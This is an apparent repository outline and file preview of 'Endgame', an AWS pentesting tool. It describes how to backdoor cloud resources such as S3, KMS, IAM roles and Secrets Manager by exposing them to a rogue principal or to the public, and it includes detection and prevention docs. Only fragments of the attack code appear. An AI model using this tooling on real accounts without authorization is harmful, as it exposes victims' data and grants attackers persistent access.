FILE: endgame/shared/resource_results.py
class ResourceResults (line 14) | class ResourceResults:
method __init__ (line 17) | def __init__(self, user_provided_service: str, user_provided_region: str,
method _resources (line 36) | def _resources(self) -> [ListResourcesResponse]:
method arns (line 60) | def arns(self) -> [str]:
class ServiceResourcesMultiRegion (line 83) | class ServiceResourcesMultiRegion:
method __init__ (line 84) | def __init__(
method _regions (line 102) | def _regions(self) -> list:
method _resources (line 110) | def _resources(self) -> [ListResourcesResponse]:
method arns (line 127) | def arns(self) -> [str]:
class ServiceResourcesSingleRegion (line 134) | class ServiceResourcesSingleRegion:
method __init__ (line 137) | def __init__(
method arns (line 154) | def arns(self) -> [str]:
method _resources (line 161) | def _resources(self) -> [ListResourcesResponse]:
FILE: endgame/shared/response_message.py
class ResponseMessage (line 14) | class ResponseMessage:
method __init__ (line 15) | def __init__(self, message: str, operation: str, success: bool, victim...
method updated_policy_sids (line 29) | def updated_policy_sids(self) -> list:
method original_policy_sids (line 33) | def original_policy_sids(self) -> list:
method victim_resource_name (line 37) | def victim_resource_name(self) -> str:
method evil_principal_name (line 42) | def evil_principal_name(self) -> str:
method added_sids (line 47) | def added_sids(self) -> list:
method removed_sids (line 54) | def removed_sids(self) -> list:
class ResponseGetRbp (line 61) | class ResponseGetRbp:
method __init__ (line 62) | def __init__(self, policy_document, success):
FILE: endgame/shared/scary_warnings.py
function confirm_anonymous_principal (line 3) | def confirm_anonymous_principal():
FILE: endgame/shared/statement_detail.py
class StatementDetail (line 6) | class StatementDetail:
method __init__ (line 11) | def __init__(
method __str__ (line 36) | def __str__(self) -> str:
method _original_actions (line 61) | def _original_actions(self):
method _actions (line 70) | def _actions(self):
method _resources (line 85) | def _resources(self):
method _aws_principals (line 95) | def _aws_principals(self):
method _other_principals (line 124) | def _other_principals(self) -> dict:
FILE: endgame/shared/utils.py
function get_sid_names_with_error_handling (line 13) | def get_sid_names_with_error_handling(policy):
function get_service_translation (line 27) | def get_service_translation(provided_service: str) -> str:
function change_policy_principal_from_arn_to_account_id (line 47) | def change_policy_principal_from_arn_to_account_id(policy: dict) -> dict:
function print_red (line 96) | def print_red(string):
function print_yellow (line 100) | def print_yellow(string):
function print_blue (line 104) | def print_blue(string):
function print_green (line 108) | def print_green(string):
function print_grey (line 112) | def print_grey(string):
function print_remove (line 117) | def print_remove(service: str, resource_type: str, resource_name: str, p...
function print_add (line 129) | def print_add(service: str, resource_type: str, resource_name: str, prin...
FILE: endgame/shared/validate.py
function click_validate_supported_aws_service (line 9) | def click_validate_supported_aws_service(ctx, param, value):
function click_validate_comma_separated_resource_names (line 18) | def click_validate_comma_separated_resource_names(ctx, param, value):
function click_validate_comma_separated_excluded_services (line 30) | def click_validate_comma_separated_excluded_services(ctx, param, value):
function click_validate_user_or_principal_arn (line 47) | def click_validate_user_or_principal_arn(ctx, param, value):
function validate_user_or_principal_arn (line 56) | def validate_user_or_principal_arn(arn: str):
function validate_basic_policy_json (line 72) | def validate_basic_policy_json(policy_json: dict) -> dict:
FILE: setup.py
function get_version (line 11) | def get_version():
function get_description (line 16) | def get_description():
FILE: tasks.py
function build_package (line 59) | def build_package(c):
function install_package (line 66) | def install_package(c):
function create_terraform (line 72) | def create_terraform(c):
function destroy_terraform (line 77) | def destroy_terraform(c):
function list_resources (line 85) | def list_resources(c):
function expose_dry_run (line 93) | def expose_dry_run(c):
function expose_undo (line 101) | def expose_undo(c):
function expose (line 114) | def expose(c):
FILE: terraform/lambda-function/lambda.py
function handler (line 4) | def handler(event, context):
FILE: terraform/lambda-layer/python/custom_func.py
function cust_fun (line 1) | def cust_fun():
FILE: test/command/test_expose.py
class ListResourcesClickUnitTests (line 7) | class ListResourcesClickUnitTests(unittest.TestCase):
method setUp (line 8) | def setUp(self):
method test_expose_command_with_click (line 11) | def test_expose_command_with_click(self):
FILE: test/command/test_list_resources.py
class ListResourcesClickUnitTests (line 11) | class ListResourcesClickUnitTests(unittest.TestCase):
method setUp (line 14) | def setUp(self):
method test_list_resources_command_with_click (line 36) | def test_list_resources_command_with_click(self):
method test_list_resources_exclusion_via_argument (line 47) | def test_list_resources_exclusion_via_argument(self):
method test_list_resources_exclusion_via_envvar (line 53) | def test_list_resources_exclusion_via_envvar(self):
method test_list_resources_exclude_multiple (line 60) | def test_list_resources_exclude_multiple(self):
FILE: test/command/test_smash.py
class SmashClickUnitTests (line 19) | class SmashClickUnitTests(unittest.TestCase):
method setUp (line 22) | def setUp(self):
method test_smash_help (line 36) | def test_smash_help(self):
method test_smash_dry_run (line 41) | def test_smash_dry_run(self):
method tearDown (line 47) | def tearDown(self):
class SmashClickUnitTestsWithExclusions (line 53) | class SmashClickUnitTestsWithExclusions(unittest.TestCase):
method setUp (line 54) | def setUp(self):
method test_smash_live_run (line 68) | def test_smash_live_run(self):
method tearDown (line 77) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_ecr.py
class EcrTestCase (line 12) | class EcrTestCase(unittest.TestCase):
method setUp (line 13) | def setUp(self):
method test_list_resources (line 25) | def test_list_resources(self):
method tearDown (line 40) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_glacier.py
class GlacierTestCase (line 12) | class GlacierTestCase(unittest.TestCase):
method setUp (line 13) | def setUp(self):
method test_list_vaults (line 26) | def test_list_vaults(self):
FILE: test/exposure_via_resource_policies/test_iam.py
class IAMTestCase (line 13) | class IAMTestCase(unittest.TestCase):
method setUp (line 14) | def setUp(self):
method test_list_roles (line 28) | def test_list_roles(self):
method test_get_rbp (line 32) | def test_get_rbp(self):
method test_set_rbp (line 39) | def test_set_rbp(self):
method test_add_myself (line 43) | def test_add_myself(self):
method tearDown (line 48) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_kms.py
class KmsTestCase (line 14) | class KmsTestCase(unittest.TestCase):
method setUp (line 15) | def setUp(self):
method test_list_keys (line 29) | def test_list_keys(self):
method test_get_rbp (line 35) | def test_get_rbp(self):
method test_add_myself (line 44) | def test_add_myself(self):
method test_undo (line 82) | def test_undo(self):
method tearDown (line 90) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_s3.py
class S3TestCase (line 12) | class S3TestCase(unittest.TestCase):
method setUp (line 13) | def setUp(self):
method test_list_roles (line 26) | def test_list_roles(self):
method test_get_rbp (line 31) | def test_get_rbp(self):
method test_set_rbp (line 35) | def test_set_rbp(self):
method test_add_myself (line 51) | def test_add_myself(self):
method tearDown (line 55) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_secrets_manager.py
class SecretsManagerTestCase (line 13) | class SecretsManagerTestCase(unittest.TestCase):
method setUp (line 14) | def setUp(self):
method test_list_secrets (line 29) | def test_list_secrets(self):
method test_get_rbp (line 35) | def test_get_rbp(self):
method tearDown (line 59) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_ses.py
class SesTestCase (line 13) | class SesTestCase(unittest.TestCase):
method setUp (line 14) | def setUp(self):
method test_list_identities (line 29) | def test_list_identities(self):
FILE: test/exposure_via_resource_policies/test_sns.py
class SnsTestCase (line 14) | class SnsTestCase(unittest.TestCase):
method setUp (line 15) | def setUp(self):
method test_list_topics (line 28) | def test_list_topics(self):
method test_get_rbp (line 35) | def test_get_rbp(self):
method test_set_rbp (line 70) | def test_set_rbp(self):
method test_set_rbp_by_removal (line 143) | def test_set_rbp_by_removal(self):
method test_add_myself (line 148) | def test_add_myself(self):
method test_undo (line 152) | def test_undo(self):
method tearDown (line 159) | def tearDown(self):
FILE: test/exposure_via_resource_policies/test_sqs.py
class SqsTestCase (line 14) | class SqsTestCase(unittest.TestCase):
method setUp (line 15) | def setUp(self):
method test_list_queues (line 28) | def test_list_queues(self):
method test_get_rbp (line 34) | def test_get_rbp(self):
method test_set_rbp (line 46) | def test_set_rbp(self):
method test_add_myself (line 87) | def test_add_myself(self):
method test_undo (line 92) | def test_undo(self):
method tearDown (line 99) | def tearDown(self):
FILE: test/shared/test_policy_document.py
class PolicyDocumentTestCase (line 105) | class PolicyDocumentTestCase(unittest.TestCase):
method setUp (line 106) | def setUp(self):
method test_override_account_id_instead_of_principal (line 128) | def test_override_account_id_instead_of_principal(self):
method test_statement_with_principal_service (line 137) | def test_statement_with_principal_service(self):
method test_override_action (line 155) | def test_override_action(self):
method test_empty_statements (line 173) | def test_empty_statements(self):
method test_get_allow_current_account_id (line 187) | def test_get_allow_current_account_id(self):
method test_policy_plus_evil_principal (line 220) | def test_policy_plus_evil_principal(self):
FILE: test/shared/test_resource_results.py
class ResourceResultsTestCase (line 10) | class ResourceResultsTestCase(unittest.TestCase):
method setUp (line 11) | def setUp(self):
method test_kms_single_region_arns (line 74) | def test_kms_single_region_arns(self):
method test_kms_regions_multi_regions (line 83) | def test_kms_regions_multi_regions(self):
method test_kms_arns_multi_regions (line 95) | def test_kms_arns_multi_regions(self):
method test_resource_results_arns (line 107) | def test_resource_results_arns(self):
FILE: test/shared/test_statement_detail.py
class StatementDetailTestCase (line 54) | class StatementDetailTestCase(unittest.TestCase):
method test_statement_with_root (line 55) | def test_statement_with_root(self):
FILE: test/shared/test_utils.py
class ChangePrincipalArnToIdTestCase (line 13) | class ChangePrincipalArnToIdTestCase(unittest.TestCase):
method test_principal_is_string (line 14) | def test_principal_is_string(self):
method test_principal_is_list (line 58) | def test_principal_is_list(self):
FILE: test/shared/test_validate.py
class ValidateTestCase (line 8) | class ValidateTestCase(unittest.TestCase):
method test_validate_user_or_principal_arn (line 10) | def test_validate_user_or_principal_arn(self):
method test_click_validate_comma_separated_resource_names (line 24) | def test_click_validate_comma_separated_resource_names(self):
Condensed preview — 179 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (529K chars).
[
{
"path": ".github/PULL_REQUEST_TEMPLATE",
"chars": 639,
"preview": "## What does this PR do?\n\n[//]: # (Required: Describe the effects of your pull request in detail. If\nmultiple changes ar"
},
{
"path": ".github/release-drafter.yml",
"chars": 792,
"preview": "name-template: '$RESOLVED_VERSION 🌈'\ntag-template: '$RESOLVED_VERSION'\ncategories:\n - title: '🚀 Features'\n labels:\n "
},
{
"path": ".github/workflows/ci.yml",
"chars": 728,
"preview": "name: continuous-integration\n\non: [push, pull_request]\n\njobs:\n ci:\n runs-on: ubuntu-latest\n strategy:\n matri"
},
{
"path": ".github/workflows/publish.yml",
"chars": 2513,
"preview": "name: Publish\n\non:\n release:\n types: [ published ]\n\njobs:\n test:\n runs-on: ubuntu-latest\n strategy:\n mat"
},
{
"path": ".github/workflows/release-drafter.yml",
"chars": 330,
"preview": "name: Release Drafter\n\non:\n push:\n branches: [ main, master ]\n\njobs:\n update_release_draft:\n runs-on: ubuntu-lat"
},
{
"path": ".gitignore",
"chars": 698,
"preview": "# IDEs\n.idea\n.vscode\n\n# Mac OS X\n.DS_Store\n\n# Serverless framework\n.serverless\n.requirements.zip\nnode_modules/\n\n# Workin"
},
{
"path": ".pylintrc",
"chars": 18547,
"preview": "[MASTER]\n\n# A comma-separated list of package or module names from where C extensions may\n# be loaded. Extensions are lo"
},
{
"path": ".readthedocs.yml",
"chars": 448,
"preview": "# Read the Docs configuration file\n# See https://docs.readthedocs.io/en/stable/config-file/v2.html for details\n\n# Requir"
},
{
"path": "CODE_OF_CONDUCT.md",
"chars": 5141,
"preview": "# Salesforce Open Source Community Code of Conduct\n\n## About the Code of Conduct\n\nEquality is a core value at Salesforce"
},
{
"path": "HomebrewFormula/endgame.rb",
"chars": 5259,
"preview": "class Endgame < Formula\n include Language::Python::Virtualenv\n\n desc \"Shiny new formula\"\n homepage \"https://github.co"
},
{
"path": "LICENSE",
"chars": 1053,
"preview": "Copyright 2021 Salesforce.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this soft"
},
{
"path": "Makefile",
"chars": 2119,
"preview": "SHELL:=/bin/bash\n\n.PHONY: setup-env\nsetup-env:\n\tpython3 -m venv ./venv && source venv/bin/activate\n\tpython3 -m pip insta"
},
{
"path": "README.md",
"chars": 26294,
"preview": "# Endgame\n\nAn AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rog"
},
{
"path": "SECURITY.md",
"chars": 400,
"preview": "## Security\n\nPlease report any security issue to [security@salesforce.com](mailto:security@salesforce.com)\nas soon as it"
},
{
"path": "docs/appendices/acm-pca-activation.md",
"chars": 1640,
"preview": "# ACM PCA Activation\n\nWhile the rest of the infrastructure deployed via the Terraform resources is ready to go as soon a"
},
{
"path": "docs/appendices/faq.md",
"chars": 3012,
"preview": "# FAQ\n\n## Where does AWS Access Analyzer fall short?\n\n[AWS Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserG"
},
{
"path": "docs/appendices/permissions-management-actions.md",
"chars": 7895,
"preview": "\n\n## Actions\n\n### ACM PCA\n\n* Permissions\nacm-pca:CreatePermission\nacm-pca:DeletePermission\nacm-pca:DeletePolicy\nacm-pca:"
},
{
"path": "docs/appendices/roadmap.md",
"chars": 1918,
"preview": "### Backdoors via AWS Resource Access Manager\n\nBy default, AWS RAM allows you to share resources with **any** AWS Accoun"
},
{
"path": "docs/appendices/terraform-demo-infrastructure.md",
"chars": 903,
"preview": "# Terraform Demo Infrastructure\n\nThis program makes modifications to live AWS Infrastructure, which can vary from accoun"
},
{
"path": "docs/contributing/contributing.md",
"chars": 0,
"preview": ""
},
{
"path": "docs/contributing/testing.md",
"chars": 1264,
"preview": "# Testing\n\n## Unit tests\n\n* Run [pytest](https://docs.pytest.org/en/stable/) with the following:\n\n```bash\nmake test\n```\n"
},
{
"path": "docs/custom.css",
"chars": 671,
"preview": "div.doc-contents:not(.first) {\n padding-left: 25px;\n border-left: 4px solid rgba(230, 230, 230);\n margin-bottom: 80px"
},
{
"path": "docs/detection.md",
"chars": 3071,
"preview": "# Detection\n\nThere are three general methods that blue teams can use to **detect** AWS Resource Exposure Attacks:\n\n1. Us"
},
{
"path": "docs/iam-permissions.md",
"chars": 3604,
"preview": "# IAM Permissions\n\nThe IAM Permissions listed below are used to create these backdoors.\n\nYou don't need **all** of these"
},
{
"path": "docs/index.md",
"chars": 6675,
"preview": "# Endgame: Creating Backdoors in AWS\n\nAn AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS acc"
},
{
"path": "docs/installation.md",
"chars": 577,
"preview": "# Installation\n\n* pip3\n\n```bash\npip3 install --user endgame\n```\n\n* Homebrew (this will not work until the repository is "
},
{
"path": "docs/prevention.md",
"chars": 6941,
"preview": "# Prevention\n\nThere are 6 general methods that blue teams can use to **prevent** AWS Resource Exposure Attacks:\n\n1. Use "
},
{
"path": "docs/recommendations-to-aws.md",
"chars": 3573,
"preview": "# Recommendations to AWS\n\nWhile [Cloudsplaining](https://opensource.salesforce.com/cloudsplaining/) (a Salesforce-produc"
},
{
"path": "docs/requirements-docs.txt",
"chars": 202,
"preview": "mkdocs==1.1.2\nmkdocs-material==6.2.8\nmkdocs-material-extensions==1.0.1\nmkdocstrings==0.14.0\natomicwrites==1.4.0\ndistlib="
},
{
"path": "docs/resource-policy-primer.md",
"chars": 4686,
"preview": "# AWS Resource Policies, Endgame, and You\n## Background\nAWS resource policies enable developers to grant permissions to "
},
{
"path": "docs/risks/acm-pca.md",
"chars": 3684,
"preview": "# ACM Private Certificate Authority (PCA)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n*"
},
{
"path": "docs/risks/amis.md",
"chars": 4136,
"preview": "# EC2 AMIs (Machine Images)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation]"
},
{
"path": "docs/risks/ebs.md",
"chars": 4570,
"preview": "# EBS Snapshot Exposure\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#re"
},
{
"path": "docs/risks/ecr.md",
"chars": 5235,
"preview": "# Elastic Container Registries (ECR)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Rem"
},
{
"path": "docs/risks/efs.md",
"chars": 5703,
"preview": "# Elastic File Systems (EFS)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation"
},
{
"path": "docs/risks/es.md",
"chars": 5617,
"preview": "# ElasticSearch Domains\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#re"
},
{
"path": "docs/risks/glacier.md",
"chars": 4331,
"preview": "# Glacier Vault\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediatio"
},
{
"path": "docs/risks/iam-roles.md",
"chars": 6826,
"preview": "# IAM Roles (via AssumeRole)\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation"
},
{
"path": "docs/risks/kms.md",
"chars": 4359,
"preview": "# KMS Keys\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n* "
},
{
"path": "docs/risks/lambda-functions.md",
"chars": 6250,
"preview": "# Lambda Function Cross-Account Access\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [R"
},
{
"path": "docs/risks/lambda-layers.md",
"chars": 4407,
"preview": "# Lambda Layers\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediatio"
},
{
"path": "docs/risks/logs.md",
"chars": 3591,
"preview": "# CloudWatch Logs Resource Policies\n\nCloudWatch Resource Policies allow other AWS services or IAM Principals to put log "
},
{
"path": "docs/risks/rds-snapshots.md",
"chars": 5668,
"preview": "# RDS Snapshots\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediatio"
},
{
"path": "docs/risks/s3.md",
"chars": 4120,
"preview": "# S3 Buckets\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n"
},
{
"path": "docs/risks/secretsmanager.md",
"chars": 5910,
"preview": "# Secrets Manager\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediat"
},
{
"path": "docs/risks/ses.md",
"chars": 6416,
"preview": "# SES Sender Authorization Policies\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Reme"
},
{
"path": "docs/risks/sns.md",
"chars": 4406,
"preview": "# SNS Topics\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n"
},
{
"path": "docs/risks/sqs.md",
"chars": 4336,
"preview": "# SQS Queues\n\n* [Steps to Reproduce](#steps-to-reproduce)\n* [Exploitation](#exploitation)\n* [Remediation](#remediation)\n"
},
{
"path": "docs/tutorial.md",
"chars": 3986,
"preview": "# Tutorial\n\nThe prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim a"
},
{
"path": "endgame/__init__.py",
"chars": 1908,
"preview": "# pylint: disable=missing-module-docstring\nimport logging\nfrom logging import NullHandler\n\n# Set default handler when en"
},
{
"path": "endgame/bin/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "endgame/bin/cli.py",
"chars": 788,
"preview": "#! /usr/bin/env python\nimport click\nfrom endgame import command\nfrom endgame.bin.version import __version__\n\n\n@click.gro"
},
{
"path": "endgame/bin/version.py",
"chars": 22,
"preview": "__version__ = \"0.2.0\"\n"
},
{
"path": "endgame/command/__init__.py",
"chars": 112,
"preview": "from endgame.command import list_resources\nfrom endgame.command import expose\nfrom endgame.command import smash\n"
},
{
"path": "endgame/command/expose.py",
"chars": 10663,
"preview": "\"\"\"\nExpose AWS resources\n\"\"\"\nimport json\nimport logging\nimport click\nimport boto3\nfrom policy_sentry.util.arns import (\n"
},
{
"path": "endgame/command/list_resources.py",
"chars": 4287,
"preview": "\"\"\"\nList exposable resources\n\"\"\"\nimport logging\nimport click\nfrom endgame import set_log_level\nfrom endgame.shared.aws_l"
},
{
"path": "endgame/command/smash.py",
"chars": 7335,
"preview": "\"\"\"\nSmash your AWS Account to pieces by exposing massive amounts of resources to a rogue principal or to the internet\n\"\""
},
{
"path": "endgame/exposure_via_aws_ram/README.md",
"chars": 809,
"preview": "# Exposure via AWS RAM\n\nBy default, AWS RAM allows you to share resources with **any** AWS Account.\n\nSupported resource "
},
{
"path": "endgame/exposure_via_aws_ram/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "endgame/exposure_via_resource_policies/README.md",
"chars": 5159,
"preview": "# Resources that can be made public through resource policies\n\n## Supported\n\n### CloudWatch Logs\nActions:\n- logs [put-re"
},
{
"path": "endgame/exposure_via_resource_policies/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "endgame/exposure_via_resource_policies/acm_pca.py",
"chars": 10023,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/cloudwatch_logs.py",
"chars": 10219,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/common.py",
"chars": 5467,
"preview": "from abc import ABCMeta, abstractmethod\nimport json\nimport logging\nimport copy\nimport boto3\nimport botocore\nfrom botocor"
},
{
"path": "endgame/exposure_via_resource_policies/ecr.py",
"chars": 4893,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/efs.py",
"chars": 4761,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/elasticsearch.py",
"chars": 4762,
"preview": "import sys\nimport logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import C"
},
{
"path": "endgame/exposure_via_resource_policies/glacier_vault.py",
"chars": 4767,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/iam.py",
"chars": 5023,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/kms.py",
"chars": 7804,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/lambda_function.py",
"chars": 7371,
"preview": "import json\nimport logging\nfrom abc import ABC\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/lambda_layer.py",
"chars": 9059,
"preview": "import logging\nimport json\nimport boto3\nfrom abc import ABC\nimport botocore\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/s3.py",
"chars": 4450,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/secrets_manager.py",
"chars": 4293,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/ses.py",
"chars": 7768,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/sns.py",
"chars": 9016,
"preview": "import json\nimport logging\nfrom abc import ABC\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_resource_policies/sqs.py",
"chars": 9076,
"preview": "import logging\nimport json\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\n"
},
{
"path": "endgame/exposure_via_sharing_apis/README.md",
"chars": 1321,
"preview": "# Resource that can be made public through sharing APIs\n\n\n## Support Status\n\n### AMI\nActions:\n- ec2 [modify-image-attrib"
},
{
"path": "endgame/exposure_via_sharing_apis/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "endgame/exposure_via_sharing_apis/common.py",
"chars": 3435,
"preview": "import copy\nfrom abc import ABCMeta, abstractmethod\nimport boto3\nimport botocore\nfrom botocore.exceptions import ClientE"
},
{
"path": "endgame/exposure_via_sharing_apis/ebs_snapshots.py",
"chars": 10647,
"preview": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_"
},
{
"path": "endgame/exposure_via_sharing_apis/ec2_amis.py",
"chars": 10135,
"preview": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_"
},
{
"path": "endgame/exposure_via_sharing_apis/rds_snapshots.py",
"chars": 9215,
"preview": "import logging\nimport boto3\nimport botocore\nfrom abc import ABC\nfrom botocore.exceptions import ClientError\nfrom policy_"
},
{
"path": "endgame/shared/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "endgame/shared/aws_login.py",
"chars": 1574,
"preview": "import os\nimport logging\nimport boto3\nfrom botocore.config import Config\nfrom endgame.shared import constants\nlogger = l"
},
{
"path": "endgame/shared/constants.py",
"chars": 1546,
"preview": "import copy\nSUPPORTED_AWS_SERVICES = [\n \"all\",\n \"acm-pca\",\n \"ec2-ami\",\n \"ebs\",\n \"ecr\",\n \"efs\",\n \"elasticsearch\",\n"
},
{
"path": "endgame/shared/list_resources_response.py",
"chars": 543,
"preview": "\"\"\"\nWhen we list resources under a service, instead of returning an ARN or a name, return this object that collects both"
},
{
"path": "endgame/shared/policy_document.py",
"chars": 7623,
"preview": "import json\nimport copy\nfrom endgame.shared.statement_detail import StatementDetail\nfrom endgame.shared import constants"
},
{
"path": "endgame/shared/resource_results.py",
"chars": 13164,
"preview": "import logging\nimport botocore\nfrom botocore.exceptions import ClientError\nfrom endgame.shared import utils, constants\nf"
},
{
"path": "endgame/shared/response_message.py",
"chars": 2489,
"preview": "\"\"\"\nClasses for managing responses from the various exposure classes. When you run `undo`, `add_myself`, or `set_rbp`,\n "
},
{
"path": "endgame/shared/scary_warnings.py",
"chars": 1461,
"preview": "from endgame.shared import utils\n\ndef confirm_anonymous_principal():\n utils.print_red(r\"\"\"\n\n ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄"
},
{
"path": "endgame/shared/statement_detail.py",
"chars": 5078,
"preview": "import json\nfrom policy_sentry.util.arns import get_account_from_arn\n\n\n# pylint: disable=too-many-instance-attributes\ncl"
},
{
"path": "endgame/shared/utils.py",
"chars": 5416,
"preview": "import copy\nimport logging\nfrom colorama import Fore, Back\nfrom policy_sentry.util.policy_files import get_sid_names_fro"
},
{
"path": "endgame/shared/validate.py",
"chars": 3216,
"preview": "import logging\nimport click\nfrom endgame.shared.constants import SUPPORTED_AWS_SERVICES\nfrom policy_sentry.util.arns imp"
},
{
"path": "mkdocs.yml",
"chars": 1871,
"preview": "site_name: Endgame\nsite_url: https://endgame.readthedocs.io/\nrepo_url: https://github.com/salesforce/endgame/\ntheme: mat"
},
{
"path": "requirements-dev.txt",
"chars": 305,
"preview": "pytest==6.2.2\nnose==1.3.7\nblack==20.8b1\nbandit==1.7.0\ncoverage==5.4\npylint==2.6.0\ninvoke==1.5.0\npandas==1.2.2\nopenpyxl=="
},
{
"path": "requirements.txt",
"chars": 81,
"preview": "click==7.1.2\nbotocore==1.20.5\nboto3==1.17.5\npolicy_sentry==0.11.5\ncolorama==0.4.4"
},
{
"path": "setup.cfg",
"chars": 624,
"preview": "[nosetests]\nexe = True\ntests = test/, test/command, test/shared, test/exposure_via_resource_policies\nverbosity=2\n\n[tool:"
},
{
"path": "setup.py",
"chars": 1532,
"preview": "\"\"\"Setup script\"\"\"\nimport setuptools\nimport os\nimport re\n\nHERE = os.path.abspath(os.path.dirname(__file__))\nVERSION_RE ="
},
{
"path": "tasks.py",
"chars": 3640,
"preview": "#!/usr/bin/env python\nimport sys\nimport os\nimport logging\nfrom invoke import task, Collection\n\nBIN = os.path.abspath(os."
},
{
"path": "terraform/acm-pca/acm_pca.tf",
"chars": 380,
"preview": "# https://docs.aws.amazon.com/acm-pca/latest/userguide/pca-rbp.html\n\nresource \"aws_acmpca_certificate_authority\" \"exampl"
},
{
"path": "terraform/acm-pca/outputs.tf",
"chars": 142,
"preview": "output \"id\" {\n value = aws_acmpca_certificate_authority.example.id\n}\n\noutput \"arn\" {\n value = aws_acmpca_certificate_a"
},
{
"path": "terraform/acm-pca/variables.tf",
"chars": 79,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure.com\"\n}"
},
{
"path": "terraform/all.tf",
"chars": 1844,
"preview": "//module \"acm_pca\" {\n// source = \"./acm-pca\"\n//}\n\nmodule \"cloudwatch_resource_policy\" {\n source = \"./cloudwatch-resour"
},
{
"path": "terraform/cloudwatch-resource-policy/main.tf",
"chars": 562,
"preview": "data \"aws_caller_identity\" \"current\" {}\n\ndata \"aws_iam_policy_document\" \"example\" {\n statement {\n actions = [\n "
},
{
"path": "terraform/ebs-snapshot/ebs.tf",
"chars": 263,
"preview": "resource \"aws_ebs_volume\" \"example\" {\n availability_zone = \"us-east-1a\"\n size = 40\n\n tags = {\n Name ="
},
{
"path": "terraform/ebs-snapshot/outputs.tf",
"chars": 132,
"preview": "output \"aws_ebs_volume_arn\" {\n value = aws_ebs_volume.example.arn\n}\n\noutput \"id\" {\n value = aws_ebs_snapshot.example_s"
},
{
"path": "terraform/ebs-snapshot/variables.tf",
"chars": 75,
"preview": "variable \"name\" {\n type = string\n default = \"test-resource-exposure\"\n}"
},
{
